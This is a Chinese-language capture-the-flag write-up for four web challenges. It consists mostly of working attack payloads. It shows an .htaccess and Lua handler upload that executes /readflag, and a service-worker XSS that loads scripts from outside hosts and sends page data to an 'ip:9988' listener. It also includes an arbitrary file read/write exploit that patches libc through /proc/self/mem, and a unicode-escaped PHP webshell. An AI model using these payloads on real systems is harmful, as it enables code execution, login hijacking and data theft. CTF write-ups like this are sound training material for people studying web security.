23333333333333
0x01 upload 方法一:lua
1.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST /sandbox/gkqh0jd0dmt742l6r5k85qnp20/index.php HTTP/1.1 Host: newupload.xhlj.wetolink.com Content-Length: 209 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://newupload.xhlj.wetolink.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryY23uQf1rBX9q3Ctt User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://newupload.xhlj.wetolink.com/sandbox/gkqh0jd0dmt742l6r5k85qnp20/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=gkqh0jd0dmt742l6r5k85qnp20 Connection: close ------WebKitFormBoundaryY23uQf1rBX9q3Ctt Content-Disposition: form-data; name="file"; filename=".htaccess" Content-Type: image/png AddHandler lua-script .lua ------WebKitFormBoundaryY23uQf1rBX9q3Ctt--
2.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 POST /sandbox/gkqh0jd0dmt742l6r5k85qnp20/index.php HTTP/1.1 Host: newupload.xhlj.wetolink.com Content-Length: 770 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://newupload.xhlj.wetolink.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryY23uQf1rBX9q3Ctt User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://newupload.xhlj.wetolink.com/sandbox/gkqh0jd0dmt742l6r5k85qnp20/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=gkqh0jd0dmt742l6r5k85qnp20 Connection: close ------WebKitFormBoundaryY23uQf1rBX9q3Ctt Content-Disposition: form-data; name="file"; filename="2.lua" Content-Type: image/png require "string" --[[ This is the default method name for Lua handlers, see the optional function-name in the LuaMapHandler directive to choose a different entry point. --]] function handle(r) r.content_type = "text/plain" r:puts("Hello Lua World!\n") local t = io.popen('/readflag') local a = t:read("*all") r:puts(a) if r.method == 'GET' then for k, v in pairs( r:parseargs() ) do r:puts( string.format("%s: %s\n", k, v) ) end else r:puts("Unsupported HTTP method " .. r.method) end end ------WebKitFormBoundaryY23uQf1rBX9q3Ctt--
3
方法二:蚁剑
换行绕过上传php
利用编码器 连接蚁剑,
利用蚁剑插件通过fpm绕过disabled_function,测试没有成功
0x02 hardxss 在登录处右键源代码可以看见如下的代码
auto_reg_vat()
会把get传的参数存储到key和value中,然后赋给window全局变量,这里存在变量覆盖,可以通过get传入callback来xss。
这道题利用service worker,service worker个人认为可以理解为代理,应该是用来离线缓存资源,另外关键的一点就是service worker必须在https和localhost上才能运行。
222.js
1 2 3 4 5 6 7 8 9 document .domain = "hardxss.xhlj.wetolink.com" ;var iff = document .createElement('iframe' );iff.src = 'https://auth.hardxss.xhlj.wetolink.com/' ; iff.addEventListener("load" , function ( ) { iffLoadover(); }); document .body.appendChild(iff);exp = `navigator.serviceWorker.register("/api/loginStatus?callback=self.importScripts('//www.mount4in.tk/a/sw.js');//")` ; function iffLoadover ( ) { iff.contentWindow.eval(exp); }
sw.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 self.addEventListener('install' , function (event ) { console .log('install ok!' ); }); self.addEventListener('fetch' , function (event ) { console .log(event.request); event.respondWith( caches.match(event.request).then(function (res ) { return requestBackend(event); }) ) }); function requestBackend (event ) { var url = event.request.clone(); console .log(url); return new Response("<script>alert(location.search);</script>" , {headers : { 'Content-Type' : 'text/html' }}) }
登录劫持
另外还可以利用https://repl.it开启一个php web server来解决
1 2 3 4 5 6 7 8 9 10 document .domain = "hardxss.xhlj.wetolink.com" ;var iff = document .createElement('iframe' );iff.src = 'https://auth.hardxss.xhlj.wetolink.com/' ; iff.addEventListener("load" , function ( ) { iffLoadover(); }); document .body.appendChild(iff);exp = `navigator.serviceWorker.register("/api/loginStatus?callback=importScripts('//aa.mount4in.repl.co/sw6.js');//")` ; function iffLoadover ( ) { iff.contentWindow.eval(exp); }
1 2 3 4 5 6 7 8 9 10 11 12 13 this .addEventListener('install' , function (event ) { console .log('service worker install!' ); }); this .addEventListener('fetch' , function (event ) { var url = event.request.clone(); console .log('url: ' , url); var body = '<script>window.open("http://ip:9988?test="+location.search)</script>' ; var init = {headers : {"Content-Type" : "text/html" }}; var res = new Response(body, init); event.respondWith(res.clone()); });
0x03 flagshop http://flagshop.xhlj.wetolink.com/
有任意文件读写漏洞
backend.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php $offset = isset ($_GET['offset' ]) ? $_GET['offset' ] : 0 ; $buffer = isset ($_GET['buffer' ]) ? $_GET['buffer' ] : "" ; if (isset ($_GET['writefile' ])) { $fp = fopen($_GET['writefile' ], "a" ); fseek($fp, $offset); fwrite($fp, $buffer); fclose($fp); } if (isset ($_GET['readfile' ])) { echo file_get_contents($_GET['readfile' ]); }
首先了解下面几个文件
/proc/pid/maps 包含了当前进程映射的内存区域以及他们的访问权限.文件格式如下:
1 2 3 4 5 6 7 8 9 10 address perms offset dev inode pathname 08048000-08056000 r-xp 00000000 03:0c 64593 /usr/sbin/gpm 08056000-08058000 rw-p 0000d000 03:0c 64593 /usr/sbin/gpm 08058000-0805b000 rwxp 00000000 00:00 0 40000000-40013000 r-xp 00000000 03:0c 4165 /lib/ld-2.2.4.so 40013000-40015000 rw-p 00012000 03:0c 4165 /lib/ld-2.2.4.so 4001f000-40135000 r-xp 00000000 03:0c 45494 /lib/libc-2.2.4.so 40135000-4013e000 rw-p 00115000 03:0c 45494 /lib/libc-2.2.4.so 4013e000-40142000 rw-p 00000000 00:00 0 bffff000-c0000000 rwxp 00000000 00:00 0
address,表示进程占用的地址.
perms, 表示一系列权限.r=read,w=write,x=execute,s=shared,p=private(copy on write)
offset, 表示文件偏移量
dev:表示设备 (主要设备,次要设备)
inode: 表示设备上面的inode编号.如果是0,表示没有索引节点与内存区域关联,就如同BSS段一样.
pathname,在Linux2.0之前,没有pathname字段.
/proc/self/exe 在Linux2.2的内核及其之后,/proc/pid/exe是直接执行的二进制文件的符号链接.这个符号链接能够被取消.尝试打开这个文件就相当与打开了二进制文件,甚至可以通过重新输入/proc/pid/exe重新运行一个对应于pid的二进制文件.在一个多线程的程序中,如果主线程已经退出了,就无法访问这个符号链接.
在Linux2.0及其之前,/proc/pid/exe是指向当前进程执行的二进制文件
/proc/self/mem /proc/self/mem是进程的内存内容,通过修改该文件相当于直接修改当前进程的内存。该文件不能直接读取,需要结合maps的映射信息来确定读的偏移值。即无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取内存内容。
通过任意文件读取,读到当前进程使用的glibc位置和地址,然后通过修改内存将file_get_contents函数实际调用的open函数的地址,修改为system函数的地址。之后再调用file_get_contents时即调用system函数执行命令。
读libc的地址
寻找system和open的偏移。
1 2 readelf -s libc-2.19.so | egrep "\s(system|open)@@" //egrep为带正则的匹配相当于 grep -e
这里有个注意点,在用burp保存二进制文件时,在文件头有一个%7F,如果没复制过来的话,ELF文件就不完整。
1 2 3 4 <?php echo dechex(0x7ffff5f40000 +0x0000000000046590 );?>
0x04 easyjson http://easyjson.xhlj.wetolink.com/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /?source=1&action=write&filename=a.php HTTP/1.1 Host: easyjson.xhlj.wetolink.com Content-Length: 111 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://easyjson.xhlj.wetolink.com Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://easyjson.xhlj.wetolink.com/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 X-Forwarded-For: 23.23.23.23. Connection: close {"\u0063\u006f\u006e\u0074\u0065\u006e\u0074":"<?=`\u002f\u0072\u0065\u0061\u0064\u0066\u006c\u0061\u0067`;?>"}
0x05 参考链接
https://lightless.me/archives/XSS-With-Service-Worker.html
https://www.bertramc.cn/2020/10/09/66.html
https://blog.spoock.com/2019/10/08/proc/
https://mp.weixin.qq.com/s/wOnv-dUMtt1tfp306Fe8oA